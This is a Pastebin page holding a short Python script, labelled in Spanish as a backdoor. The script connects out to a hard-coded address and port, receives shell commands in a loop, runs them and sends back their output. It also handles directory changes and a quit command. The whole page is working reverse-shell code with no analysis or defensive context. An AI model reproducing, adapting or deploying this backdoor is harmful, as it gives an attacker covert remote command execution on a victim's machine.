Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import socket
- import subprocess
- import sys
- import os
- class Backdoor_Servidor:
- def __init__(self):
- self.socket_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.socket_s.connect(("192.168.0.16", 3232))
- # self.socket_s.listen(100)
- # self.socket_c,(host_c,puerto_c) = self.socket_s.accept()
- self.cmd = ''
- self.loop()
- def salir(self):
- self.socket_s.close()
- sys.exit(1)
- def irA(self, cmd):
- try:
- cd,path = cmd.split(' ')
- except:
- self.socket_s.send('No se puede cambiar de directorio')
- return
- os.chdir(path)
- self.cmd = 'pwd'
- def ejecutar(self, cmd):
- try:
- proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- stdout_value = proc.stdout.read()
- stdout_value += proc.stderr.read()
- self.socket_s.send(stdout_value)
- except Exception as e:
- pass
- def loop(self):
- proc = subprocess.Popen('gnome-terminal', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- while True:
- self.cmd = self.socket_s.recv(2048)
- if self.cmd == 'quit': self.salir()
- if 'cd' in self.cmd: self.irA(self.cmd)
- self.ejecutar(self.cmd)
- if __name__ == '__main__':
- bd = Backdoor_Servidor()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement